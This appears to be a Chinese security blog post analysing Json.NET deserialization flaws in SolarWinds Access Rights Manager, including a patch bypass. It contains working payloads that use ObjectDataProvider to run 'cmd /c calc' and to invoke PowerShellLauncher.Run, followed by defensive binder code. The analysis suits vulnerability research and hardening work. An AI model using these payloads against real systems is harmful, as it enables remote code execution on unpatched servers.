Solarwinds Access Rights Manager Json反序列化漏洞分析
G7shot 发表于 日本 历史精选 1801浏览 · 2024-04-03 09:12

前言

之前整理过一堆Solarwinds的Json.net 反序列化漏洞,本文分析下Solarwinds ARM产品中的漏洞,结合这些漏洞最后补充下json.net常见的几种修复方式。

Solarwinds Access Rights Manager产品漏洞线

CVE-2023-35184 漏洞点ExecuteAction

CVE-2023-35180 漏洞点IFormTemplate

CVE-2023-35186 漏洞点GetParameterFormTemplateWithSelectionState

CVE-2024-23478 JsonSerializationBinder补丁绕过

关键修改类在pn.helper.JsonSerializer,新增了ISerializationBinder类,部分类型新增了JsonConverter。主要diff

配置SerializationBinder

漏洞分析

漏洞点

目标是ASP.NET Core 2.0开发的应用程序,查看其配置,Startup.cs中的ConfigureServices方法

配置了下面这些东西

//Filters
options.Filters.Add(new AuthorizeFilter("ArmCookie"));

//SerializerSettings
DefaultContractResolver defaultContractResolver = options.SerializerSettings.ContractResolver as DefaultContractResolver;
if (defaultContractResolver != null)
{
    options.SerializerSettings.NullValueHandling = NullValueHandling.Ignore;
    defaultContractResolver.NamingStrategy = null;
}

//身份验证机制
services.AddAuthorization

看到这里配置的反序列化器是Newtonsoft.Json,net core低版本自带Newtonsoft.Json。
高版本默认自带的序列化器是System.Text.Json,要使用Newtonsoft.Json需要引入Microsoft.AspNetCore.Mvc.NewtonsoftJson.dll并在ConfigureServices配置。

几个漏洞的source点都在pn.WebApi8Man.Controllers.v1.AnalyzeActionController中,

//CVE-2023-35184
[HttpPost("{actionId}/Execute")]
[TypedJsonResult]
public ChangeResult ExecuteAction(Guid actionId, [FromBody] ExecuteActionParameter data)
{
    IFormTemplate formTemplate = null;
    if (data.FormDataJson != null)
    {
//反序列化ExecuteActionParameter的FormDataJson字段
        formTemplate = this.webApplication.FromJson(data.FormDataJson).ParseExpressions();
    }


//CVE-2023-35186
public SuccessResult GetParameterFormTemplateWithSelectionState(Guid actionId, [FromBody] string selectionState)
{
//反序列化传入的selectionState字符串
    IFormTemplate parameterFormTemplate = this.webApplication.ActionService.GetParameterFormTemplate(base.Request.GetUserInfo(), actionId, this.webApplication.FromJson(selectionState));
    IFormTemplate result = (parameterFormTemplate != null) ? parameterFormTemplate.ParseExpressions() : null;
    return new SuccessResult(result);
}

//CVE-2023-35180应该有很多地方,参考CVE-2023-35184

serializationSettings在pn.helper.JsonSerializer中配置

this.serializationSettings = new JsonSerializerSettings
{
    ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
    TypeNameHandling = TypeNameHandling.Auto,
    TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Simple,
    NullValueHandling = NullValueHandling.Include,
    DefaultValueHandling = DefaultValueHandling.Include
};

最终sink点在FromJson方法中

public static T FromJson<T>(this WebApplication webApplication, string jsonString, bool withTypeNames = false)
        {
                    ......
                    jsonString = webApplication.TypeAliasInjectingJsonSerializer.ResolveTypeAliasInJson(jsonString);
                }
                T t = JsonConvert.DeserializeObject<T>(jsonString, new JsonSerializerSettings
                {
                    TypeNameHandling = (withTypeNames ? TypeNameHandling.Objects : TypeNameHandling.None),
                    MissingMemberHandling = MissingMemberHandling.Ignore
                });
                .......

几个漏洞原理差不多,都是将ExecuteActionParameter.FormDataJson字段反序列化为IFormTemplate类型,下一步需要找到利用链。

利用链

找到这个可疑泛型类pn.formTemplates.resourceTemplates.DefaultValueFormTemplateBase<TValue>

public abstract class DefaultValueFormTemplateBase<TValue> : 
    DefaultLabelledCanBeDisabledFormTemplate,
    IHasValueFormTemplate<TValue>,
    IHasValueFormTemplate,
    IFormTemplate,
    IDescription
  {
  ......
      public virtual TValue Value
    {
      get => this.value;
      set => this.value = value;
    }
  ......

现在只需要找到其实现存在object类型的字段或实现了DefaultValueFormTemplateBase<Object>的类就能RCE;

定位到其实现的类有如下:


最终找到SearchFieldFormTemplate类其实现了DefaultValueFormTemplateBase<SimpleObject>,而SimpleObject类存在public object Value { get; set; },构造poc就行

SimpleObject simpleObject = new SimpleObject();
simpleObject.Value = new object();
DefaultValueFormTemplateBase<SimpleObject> test = new SearchFieldFormTemplate();
test.Value = simpleObject;
string json = JsonConvert.SerializeObject(test, settings);
Console.WriteLine(json);

//output
{"$type":"SearchFieldFormTemplate","ObjectType":null,"Filters":null,"Summary":"pn.formTemplates.SimpleObject","Value":{"$type":"SimpleObject","DisplayName":null,"Description":null,"Path":null,"Value":{"$type":"Object"}},"DefaultValu
e":null,"IsRequired":false,"Description":null,"CustomError":null,"AllowApply":true,"Label":null,"IsEnabled":true,"IsEnabledRule":null,"ParsedIsEnabledRule":null,"CustomAttributes":null,"IsHidden":false,"IsVisibleRule":null,"ParsedIs
VisibleRule":null}

最后poc将yso中的payload替换{"$type":"Object"}。

补丁分析绕过

补丁大致是将IFormTemplate的字段IBooleanExpression使用自定义JsonConverter进行反序列化,以及配置ISerializationBinder,实现如下

using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Newtonsoft.Json.Serialization;
using pn.extensions;

namespace pn.helper
{
    public sealed class JsonSerializationBinder : ISerializationBinder
    {

        public JsonSerializationBinder()
        {
            //配置的白名单
            this.supportedTypesAndAssemblies = this.getPnTypes();
            this.supportedTypes = (from s in this.supportedTypesAndAssemblies
            select s.Split(new string[]
            {
                ","
            }, StringSplitOptions.RemoveEmptyEntries).FirstOrDefault<string>()).ToHashSet<string>();
        }
        ......
        public Type BindToType(string assemblyName, string typeName)
        {
            Type type = Type.GetType(typeName);
            if (type == null)
            {
                Assembly assembly = Assembly.Load(assemblyName);
                type = assembly.GetType(typeName, true, true);
            }
            //白名单判断以及SecurityCritical和IsMarshalByRef的判断
            if ((this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef)) && (type.Assembly.GetName().Name.Equals(assemblyName, StringComparison.OrdinalIgnoreCase) || type.Assembly.GetName().FullName.Equals(assemblyName, StringComparison.OrdinalIgnoreCase)))
            {
                return type;
            }
            throw new NotSupportedException("Deserialization of type '" + typeName + "' is not supported.");
        }
        .......
        private bool isSupportedPnType(Type pnType)
        {
            return this.supportedTypes.Contains(pnType.FullName) || this.supportedTypesAndAssemblies.Select(new Func<string, Type>(Type.GetType)).Any((Type t) => t.IsAssignableFrom(pnType));
        }
        private HashSet<string> supportedTypesAndAssemblies;
        private readonly HashSet<string> supportedTypes;
    }
}

BindToType会判断每个需要反序列化的类,具体关注这个条件(this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef),只需要反序列化的类满足其条件职以即可。

来看看常用的payload

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

涉及到三个类:

System.Windows.Data.ObjectDataProvider //允许
System.Collections.ArrayList //允许
System.Diagnostics.Process //不允许,IsMarshalByRef

所以绕过有两个思路:

  1. 白名单绕过 this.isSupportedPnType(type)
    可用ObjectDataProvider链的一半即能任意方法调用,白名单那几乎是WebApi8Man.exe用到的类,只要找到白名单内恶意方法执行命令就行。
  2. 黑名单那绕过 (!type.IsSecurityCritical && !type.IsMarshalByRef)

思路一

既然能实现任意方法调用,写了个小工具遍历找到了可利用的两个类。
PS:我只扫了一半不到的dll,应该该有一些别的地方

pn.humster.OperatingSystemHelper::CreateTextFile(System.String,System.String,System.Boolean,System.Text.Encoding)

SolarWinds.ARM.PowerShellTools.PowerShellLauncher::Run(System.String,System.Collections.Generic.Dictionary`2<System.String,System.Object>)

最终POC

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Run',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd.exe',{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','/c':'calc'}]
    },
    'ObjectInstance':{'$type':'SolarWinds.ARM.PowerShellTools.PowerShellLauncher, SolarWinds.ARM.PowerShellTools, Version=23.2.1.103, Culture=neutral, PublicKeyToken=2ca8767897d7025a'}
}

思路二

由于我天真的认为 (!type.IsSecurityCritical && !type.IsMarshalByRef)黑名单修复方式是基于现有的利用链,最开始仅尝试了json.net中的新链子(都无法绕过),最后发现WindowsIdentity链也可以用。

Console.WriteLine(typeof(WindowsIdentity).IsSecurityCritical);
Console.WriteLine(typeof(WindowsIdentity).IsMarshalByRef);

//output
//false
//false

可惜的是提了之后回复我已由其他安全研究员提交......,盲猜一波chudypb交的,然后前两天ZDI公布的CVE-2024-23478 ,果不其然。

目前最新补丁将IsSecurityCritical替换成了IsSecurityTransparent


SecurityTransparent、SecuritySafeCritical 和 SecurityCritical参考clr-inside-out-migrating-an-aptca-assembly-to-the-net-framework-4,本地测试大多数类用不了了。

json.net反序列化防御

下面的几种防御方式官方文档都能翻到其使用方式,放个测试demo

  • SerializationBinder

    ......
    JsonSerializerSettings settings = new JsonSerializerSettings();
    settings.Binder = new MyBinder();
    class MyBinder : SerializationBinder
      {
          public override Type BindToType(string assemblyName, string typeName)
          {
              Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
              Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
    
              if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
              {
                  //throw new Exception("can't deseriliza rce class.");
                  Console.WriteLine("can't deseriliza other class.");
                  return null;
              }
              return typeToDeserialize;
          }
      }
  • ISerializationBinder

    ......
    JsonSerializerSettings settings = new JsonSerializerSettings();
    settings.SerializationBinder = new ISerializationBinderImpl();
    public class ISerializationBinderImpl : ISerializationBinder
    {
      public Type BindToType(string assemblyName, string typeName)
      {
          Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
    
          if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
          {
              //throw new Exception("can't deseriliza rce class.");
              Console.WriteLine("can't deseriliza other class.");
              //return null;
          }
          return typeToDeserialize;
      }
      public void BindToName(Type serializedType, out string assemblyName, out string typeName)
      {
          assemblyName = null;
          typeName = serializedType.Name;
      }
    }
  • IContractResolver

    ......
    JsonSerializerSettings settings = new JsonSerializerSettings();
    settings.ContractResolver = new SecContractResolver();
    public class SecContractResolver : IContractResolver
    {
      private static readonly ISet<string> BlackListSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
      {
          "System.Windows.Data.ObjectDataProvider",
      };
      public JsonContract ResolveContract(Type type)
      {
          //throw new NotImplementedException();
          if (BlackListSet.Contains(type.FullName))
          {
              throw new SecurityException($"Type '{type}' is not allowed for deserialization.");
          }
          var defaultContractResolver = new DefaultContractResolver();
          return defaultContractResolver.ResolveContract(type);
      }
    }
0 条评论
某人
表情
可输入 255